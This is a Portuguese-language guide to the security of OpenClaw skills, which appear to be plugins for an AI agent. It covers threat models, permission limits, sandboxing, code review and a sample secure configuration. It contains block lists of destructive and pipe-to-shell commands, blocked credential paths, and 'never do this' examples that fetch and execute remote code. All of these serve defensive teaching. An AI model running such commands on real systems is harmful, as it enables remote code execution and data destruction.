Segurança e Permissões

Boas práticas de segurança ao usar e criar skills no OpenClaw, incluindo permissões, sandboxing e auditoria.

Segurança de Skills

Skills são poderosos porque podem executar código e acessar recursos do sistema. Com grande poder vem grande responsabilidade.

⚠️ Modelo de AmeaçasRiscos de Skills Maliciosos

Um skill mal-intencionado poderia:

  • 📤 Exfiltrar dados - Enviar arquivos pessoais para servidores externos
  • 🗑️ Destruir dados - Deletar arquivos importantes
  • 🔓 Escalar privilégios - Acessar recursos além do permitido
  • 💰 Consumir recursos - API calls excessivas gerando custos
  • 🕵️ Espionar - Capturar senhas, tokens, informações sensíveis
Vetores de Ataque
  1. Supply chain - Skill legítimo comprometido
  2. Typosquatting - Skill falso com nome similar
  3. Social engineering - Skill parece útil mas é malicioso
  4. Dependency confusion - Scripts que baixam código malicioso

🛡️ Boas Práticas para UsuáriosAntes de Instalar um Skill

1. Verifique a Fonte

# Skills verificados são mais seguros
openclaw skill info nome-do-skill

# Verifique se tem badge de verificação

✅ Prefira skills:

  • Do repositório oficial
  • Com badge de verificação
  • Com muitos downloads e avaliações
  • De autores conhecidos

2. Leia o Código

Antes de usar um skill desconhecido:

# Extraia e leia
unzip skill.skill -d /tmp/skill-review
cat /tmp/skill-review/SKILL.md
ls -la /tmp/skill-review/scripts/
cat /tmp/skill-review/scripts/*.py

🔍 Red flags no código:

  • eval() ou exec() com input externo
  • Requests para URLs suspeitas
  • Acesso a diretórios sensíveis (~/.ssh, ~/.aws)
  • Encoding/decoding estranho (possível ofuscação)

3. Teste em Sandbox

Para skills suspeitos, teste em ambiente isolado:

# Usando Docker
docker run -it --rm -v ~/clawd/skills:/skills alpine sh

# Ou VM descartável
Durante o Uso

Monitore Atividade de Rede

# macOS/Linux
sudo lsof -i -P | grep openclaw

# Ou use Little Snitch, LuLu, etc.

Limite Permissões

No config.yaml:

security:
  # Restringir diretórios acessíveis
  allowedPaths:
    - ~/clawd
    - ~/Documents
  
  # Bloquear comandos perigosos
  blockedCommands:
    - rm -rf
    - curl | sh
    - wget | bash
  
  # Modo sandbox
  sandboxExec: true

Revogue Quando Não Usar

# Remova skills não utilizados
openclaw skill list
openclaw skill remove skill-nao-usado

🛡️ Boas Práticas para CriadoresPrincípio do Menor Privilégio

Seu skill deve solicitar apenas o mínimo necessário:

# ❌ Ruim
metadata:
  openclaw:
    requires:
      paths: ["~"]  # Acesso a tudo

# ✅ Bom
metadata:
  openclaw:
    requires:
      paths: ["~/Documents/projeto-x"]  # Só o necessário
Evite Hardcoded Secrets
# ❌ NUNCA faça isso
API_KEY = "sk-abc123..."

# ✅ Use variáveis de ambiente
import os
API_KEY = os.environ.get("MY_API_KEY")
Valide Inputs
# ❌ Perigoso
def process_file(path):
    return open(path).read()

# ✅ Seguro
def process_file(path):
    safe_path = Path(path).resolve()
    allowed_dir = Path.home() / "Documents"
    if not str(safe_path).startswith(str(allowed_dir)):
        raise ValueError("Path not allowed")
    return safe_path.read_text()
Documente Permissões

No SKILL.md, seja transparente:

## Permissões Necessárias

Este skill precisa de:
- 📁 Acesso a ~/Documents/projetos
- 🌐 Conexão com api.exemplo.com
- 💾 Escrita em ~/.cache/meu-skill

**Por quê:** Explicação clara de cada permissão.
Não Execute Código Remoto
# ❌ NUNCA
exec(requests.get("https://example.com/code.py").text)

# ❌ NUNCA
os.system("curl https://example.com/script.sh | bash")

🔍 Auditoria de SkillsChecklist de Segurança

Antes de usar ou publicar um skill:

  • Código revisado manualmente
  • Sem hardcoded secrets
  • Sem execução de código remoto
  • Permissões mínimas necessárias
  • Inputs validados e sanitizados
  • Sem acesso a diretórios sensíveis desnecessário
  • Conexões de rede documentadas
  • Dependências conhecidas e confiáveis
Ferramentas de Análise
# Buscar padrões suspeitos
grep -r "eval\|exec\|system\|popen" scripts/

# Verificar URLs externas
grep -r "http" scripts/

# Checar acesso a paths sensíveis
grep -r "\.ssh\|\.aws\|\.gnupg" scripts/

🚨 Reportando Vulnerabilidades

Se encontrar um skill malicioso ou vulnerável:

No ClawHub
  1. Vá para a página do skill
  2. Clique em “Report Issue”
  3. Selecione “Security Vulnerability”
  4. Descreva o problema em detalhes
Por EmailDisclosure Responsável
  1. Não publique a vulnerabilidade imediatamente
  2. Dê tempo para correção (30-90 dias)
  3. Coordene com mantenedores
  4. Publique após correção

📋 Configuração de SegurançaExemplo de config.yaml Seguro
security:
  # Modo de execução
  sandboxExec: true
  elevatedAllowed: false
  
  # Paths permitidos
  allowedPaths:
    - ~/clawd
    - ~/Documents
    - /tmp/openclaw-*
  
  # Paths bloqueados (sempre)
  blockedPaths:
    - ~/.ssh
    - ~/.aws
    - ~/.gnupg
    - ~/.config/gcloud
  
  # Comandos bloqueados
  blockedCommands:
    - rm -rf /
    - rm -rf ~
    - curl | sh
    - wget | bash
    - eval
  
  # Domínios permitidos para requests
  allowedDomains:
    - api.openai.com
    - api.anthropic.com
    - wttr.in
    - api.github.com
  
  # Limites
  maxTokensPerMinute: 100000
  maxApiCallsPerHour: 1000

skills:
  # Só skills verificados
  verifiedOnly: true
  
  # Auto-update com revisão
  autoUpdate: prompt

Resumo
QuemResponsabilidade
UsuáriosVerificar fonte, ler código, limitar permissões
CriadoresMenor privilégio, sem secrets, validar inputs
ComunidadeReportar vulnerabilidades, revisar skills

Próximos Passos